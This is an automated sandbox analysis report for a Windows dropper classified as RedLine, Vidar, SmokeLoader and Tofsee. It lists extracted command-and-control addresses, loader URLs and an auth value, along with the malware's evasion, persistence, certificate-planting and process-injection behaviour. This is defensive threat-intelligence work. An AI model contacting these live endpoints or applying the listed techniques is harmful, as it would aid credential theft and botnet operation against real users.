redline | 3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08

Analysis

max time kernel
88s
max time network
160s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
22-02-2022 05:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08.exe
Size

3.2MB
MD5

109268a9c36b5ab940195724a04c5b77
SHA1

20902ebd94422e7013c9d6f88cc37018e3754b22
SHA256

3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08
SHA512

874984fda5e95b8d4bbac0aaa2cf6481918dbedc83d1fb46d12f05bb5379e79d4cde4000684c1f19f7aae273753d5dd36ec10ab52f66e7ca29b9b565d2970a76

Score

10^/10

redline smokeloader tofsee vidar 333333 706 servani aspackv2 backdoor evasion infostealer persistence spyware stealer themida trojan upx

Malware Config

Extracted

Family

redline

Botnet

ServAni

87.251.71.195:82

Extracted

Family

vidar

Version

39.4

Botnet

706

https://sergeevih43.tumblr.com/

Attributes

profile_id
706

Extracted

Family

smokeloader

Version

2020

http://ppcspb.com/upload/

http://mebbing.com/upload/

http://twcamel.com/upload/

http://howdycash.com/upload/

http://lahuertasonora.com/upload/

http://kpotiques.com/upload/

rc4.i32

Extracted

Family

redline

Botnet

333333

2.56.57.212:13040

Attributes

auth_value
3efa022bc816f747304fd68e5810bb78

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 12 IoCs

Processes:

resource	yara_rule
behavioral2/memory/220-186-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral2/memory/4692-260-0x00000000004B0000-0x00000000006E1000-memory.dmp	family_redline
behavioral2/memory/4692-262-0x00000000004B2000-0x00000000004E8000-memory.dmp	family_redline
behavioral2/memory/4692-261-0x00000000004B0000-0x00000000006E1000-memory.dmp	family_redline
behavioral2/memory/4692-255-0x00000000004B2000-0x00000000004E8000-memory.dmp	family_redline
behavioral2/memory/4692-254-0x00000000004B0000-0x00000000006E1000-memory.dmp	family_redline
behavioral2/memory/2052-333-0x0000000000670000-0x00000000007FB000-memory.dmp	family_redline
behavioral2/memory/3004-335-0x0000000000670000-0x00000000007FB000-memory.dmp	family_redline
behavioral2/memory/2388-332-0x0000000000670000-0x00000000007FB000-memory.dmp	family_redline
behavioral2/memory/1996-328-0x00000000001F0000-0x0000000000383000-memory.dmp	family_redline
behavioral2/memory/1192-372-0x0000000003B00000-0x0000000003B2F000-memory.dmp	family_redline
behavioral2/memory/1276-398-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 9 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	pid	process	target process
PID 3812 created 940	3812	WerFault.exe	rUNdlL32.eXe
PID 956 created 4544	956	WerFault.exe	arnatic_1.exe
PID 5004 created 1192	5004	WerFault.exe	LLCHGZN0EAT2njwMyt6Cd4QN.exe
PID 176 created 4544	176	WerFault.exe	luYj3b0i_yldlYD0LZmY9Yfn.exe
PID 3776 created 1512	3776	WerFault.exe	P6ZHW7ui9iFiz7ezxJe47fsJ.exe
PID 396 created 960	396	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe
PID 2836 created 1512	2836	WerFault.exe	P6ZHW7ui9iFiz7ezxJe47fsJ.exe
PID 2968 created 4544	2968	WerFault.exe	luYj3b0i_yldlYD0LZmY9Yfn.exe
PID 4424 created 960	4424	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe

Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/4544-213-0x00000000025C0000-0x000000000265D000-memory.dmp	family_vidar
behavioral2/memory/4544-214-0x0000000000400000-0x00000000004A1000-memory.dmp	family_vidar

ASPack v2.12-2.42 8 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\setup_install.exe	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\setup_install.exe	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC993531D\libstdc++-6.dll	aspack_v212_v242

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 33 IoCs

Processes:

setup_install.exearnatic_7.exearnatic_3.exearnatic_2.exearnatic_4.exearnatic_5.exearnatic_1.exearnatic_6.exejfiag3g_gg.exearnatic_6.exejfiag3g_gg.exeLLCHGZN0EAT2njwMyt6Cd4QN.exe8dDZAD1a1JKkGSppPRwNPtVB.exegvUPzHAdDsF1hvIzb7dOjiWk.exeI0HVqVuv8zfp07lXD_1k1Tfk.exeluYj3b0i_yldlYD0LZmY9Yfn.exeP6ZHW7ui9iFiz7ezxJe47fsJ.exea0eSBEE5z42Nh8Tp8VpKHKTb.exeConhost.exezSbmeKFNi8dJd7WROZ7pbPin.exeZ7RPBSp2ihw_a2yKGtlsE4Mu.exefdM1mN1vyGiasatClF4jPBcM.exeXKNlY0FXPo5qa1LVczpoFkoR.exeCvMcDP7uCaanM1ErEeozuLra.exe3EfEfD98GfKPTNGhWrpDYR56.exeBdWYu5sAikxS5yT1meW0Jm8R.exeE1044.exe33JI8.exeH7LL6.exeH7LL6.exeH7LL6.exeH7LL6K2HA28JEH4.exeInstall.exe

pid	process
4384	setup_install.exe
916	arnatic_7.exe
800	arnatic_3.exe
804	arnatic_2.exe
4452	arnatic_4.exe
4584	arnatic_5.exe
4544	arnatic_1.exe
5048	arnatic_6.exe
3572	jfiag3g_gg.exe
220	arnatic_6.exe
2848	jfiag3g_gg.exe
1192	LLCHGZN0EAT2njwMyt6Cd4QN.exe
3512	8dDZAD1a1JKkGSppPRwNPtVB.exe
960	gvUPzHAdDsF1hvIzb7dOjiWk.exe
4756	I0HVqVuv8zfp07lXD_1k1Tfk.exe
4544	luYj3b0i_yldlYD0LZmY9Yfn.exe
1512	P6ZHW7ui9iFiz7ezxJe47fsJ.exe
3188	a0eSBEE5z42Nh8Tp8VpKHKTb.exe
4832	Conhost.exe
4692	zSbmeKFNi8dJd7WROZ7pbPin.exe
3804	Z7RPBSp2ihw_a2yKGtlsE4Mu.exe
864	fdM1mN1vyGiasatClF4jPBcM.exe
1184	XKNlY0FXPo5qa1LVczpoFkoR.exe
1656	CvMcDP7uCaanM1ErEeozuLra.exe
3864	3EfEfD98GfKPTNGhWrpDYR56.exe
3404	BdWYu5sAikxS5yT1meW0Jm8R.exe
1996	E1044.exe
4044	33JI8.exe
3004	H7LL6.exe
2052	H7LL6.exe
2388	H7LL6.exe
1308	H7LL6K2HA28JEH4.exe
4260	Install.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\Documents\I0HVqVuv8zfp07lXD_1k1Tfk.exe	upx
C:\Users\Admin\Documents\I0HVqVuv8zfp07lXD_1k1Tfk.exe	upx

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

3EfEfD98GfKPTNGhWrpDYR56.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3EfEfD98GfKPTNGhWrpDYR56.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3EfEfD98GfKPTNGhWrpDYR56.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

arnatic_3.exearnatic_5.exea0eSBEE5z42Nh8Tp8VpKHKTb.exefdM1mN1vyGiasatClF4jPBcM.exe3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	arnatic_3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	arnatic_5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	a0eSBEE5z42Nh8Tp8VpKHKTb.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	fdM1mN1vyGiasatClF4jPBcM.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08.exe

Loads dropped DLL 8 IoCs

Processes:

setup_install.exerUNdlL32.eXearnatic_2.exe

pid	process
4384	setup_install.exe
4384	setup_install.exe
4384	setup_install.exe
4384	setup_install.exe
4384	setup_install.exe
4384	setup_install.exe
940	rUNdlL32.eXe
804	arnatic_2.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/3864-280-0x0000000000990000-0x0000000000D53000-memory.dmp	themida
behavioral2/memory/3864-292-0x0000000000990000-0x0000000000D53000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

3EfEfD98GfKPTNGhWrpDYR56.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3EfEfD98GfKPTNGhWrpDYR56.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

18 ip-api.com
100 ipinfo.io
101 ipinfo.io
Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

Processes:

zSbmeKFNi8dJd7WROZ7pbPin.exe3EfEfD98GfKPTNGhWrpDYR56.exeE1044.exeH7LL6.exeH7LL6.exeH7LL6.exe

pid process

4692 zSbmeKFNi8dJd7WROZ7pbPin.exe
3864 3EfEfD98GfKPTNGhWrpDYR56.exe
1996 E1044.exe
3004 H7LL6.exe
2052 H7LL6.exe
2388 H7LL6.exe

flow	ioc
18	ip-api.com
100	ipinfo.io
101	ipinfo.io

pid	process
4692	zSbmeKFNi8dJd7WROZ7pbPin.exe
3864	3EfEfD98GfKPTNGhWrpDYR56.exe
1996	E1044.exe
3004	H7LL6.exe
2052	H7LL6.exe
2388	H7LL6.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

arnatic_6.exeConhost.exe8dDZAD1a1JKkGSppPRwNPtVB.exe

description	pid	process	target process
PID 5048 set thread context of 220	5048	arnatic_6.exe	arnatic_6.exe
PID 4832 set thread context of 3404	4832	Conhost.exe	BdWYu5sAikxS5yT1meW0Jm8R.exe
PID 3512 set thread context of 1276	3512	8dDZAD1a1JKkGSppPRwNPtVB.exe	RegAsm.exe

Drops file in Windows directory 6 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 19 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2608	940	WerFault.exe	rUNdlL32.eXe
3748	4544	WerFault.exe	arnatic_1.exe
5116	1192	WerFault.exe	LLCHGZN0EAT2njwMyt6Cd4QN.exe
4948	4544	WerFault.exe	luYj3b0i_yldlYD0LZmY9Yfn.exe
4144	1512	WerFault.exe	P6ZHW7ui9iFiz7ezxJe47fsJ.exe
2336	960	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe
2332	1512	WerFault.exe	P6ZHW7ui9iFiz7ezxJe47fsJ.exe
3652	4544	WerFault.exe	luYj3b0i_yldlYD0LZmY9Yfn.exe
4676	960	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe
552	960	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe
5192	1656	WerFault.exe	CvMcDP7uCaanM1ErEeozuLra.exe
5208	864	WerFault.exe	fdM1mN1vyGiasatClF4jPBcM.exe
5396	960	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe
5780	3408	WerFault.exe	rfgikpcf.exe
5844	960	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe
6084	960	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe
3784	960	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe
3308	960	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe
5156	960	WerFault.exe	gvUPzHAdDsF1hvIzb7dOjiWk.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

arnatic_2.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe

Checks processor information in registry 2 TTPs 21 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

5892 schtasks.exe
5772 schtasks.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

3512 tasklist.exe
5964 tasklist.exe

pid	process
5892	schtasks.exe
5772	schtasks.exe

pid	process
3512	tasklist.exe
5964	tasklist.exe

Enumerates system info in registry 2 TTPs 14 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

3584 taskkill.exe
Modifies data under HKEY_USERS 1 IoCs

Processes:

svchost.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe
Modifies registry class 1 IoCs

Processes:

arnatic_3.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ arnatic_3.exe

pid	process
3584	taskkill.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	arnatic_3.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

arnatic_1.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	arnatic_1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	arnatic_1.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

WerFault.exejfiag3g_gg.exearnatic_2.exeWerFault.exe

pid	process
2608	WerFault.exe
2608	WerFault.exe
2848	jfiag3g_gg.exe
2848	jfiag3g_gg.exe
804	arnatic_2.exe
804	arnatic_2.exe
3748	WerFault.exe
3748	WerFault.exe
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484
2484

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2484
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

arnatic_2.exe

pid process

804 arnatic_2.exe

pid	process
2484

pid	process
804	arnatic_2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WerFault.exearnatic_6.exesvchost.exearnatic_7.exe8dDZAD1a1JKkGSppPRwNPtVB.exe

description	pid	process
Token: SeRestorePrivilege	2608	WerFault.exe
Token: SeBackupPrivilege	2608	WerFault.exe
Token: SeDebugPrivilege	220	arnatic_6.exe
Token: SeShutdownPrivilege	5008	svchost.exe
Token: SeCreatePagefilePrivilege	5008	svchost.exe
Token: SeShutdownPrivilege	5008	svchost.exe
Token: SeCreatePagefilePrivilege	5008	svchost.exe
Token: SeShutdownPrivilege	5008	svchost.exe
Token: SeCreatePagefilePrivilege	5008	svchost.exe
Token: SeDebugPrivilege	916	arnatic_7.exe
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeDebugPrivilege	3512	8dDZAD1a1JKkGSppPRwNPtVB.exe
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484
Token: SeCreatePagefilePrivilege	2484
Token: SeShutdownPrivilege	2484

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

H7LL6K2HA28JEH4.exe

pid process

1308 H7LL6K2HA28JEH4.exe
1308 H7LL6K2HA28JEH4.exe

pid	process
1308	H7LL6K2HA28JEH4.exe
1308	H7LL6K2HA28JEH4.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exearnatic_6.exearnatic_4.exearnatic_3.exeWerFault.exe

description	pid	process	target process
PID 2460 wrote to memory of 4384	2460	3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08.exe	setup_install.exe
PID 2460 wrote to memory of 4384	2460	3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08.exe	setup_install.exe
PID 2460 wrote to memory of 4384	2460	3423d8b07b01ab7fe9255772e71045ddfe367d51f086a0c04b2623e5ae134e08.exe	setup_install.exe
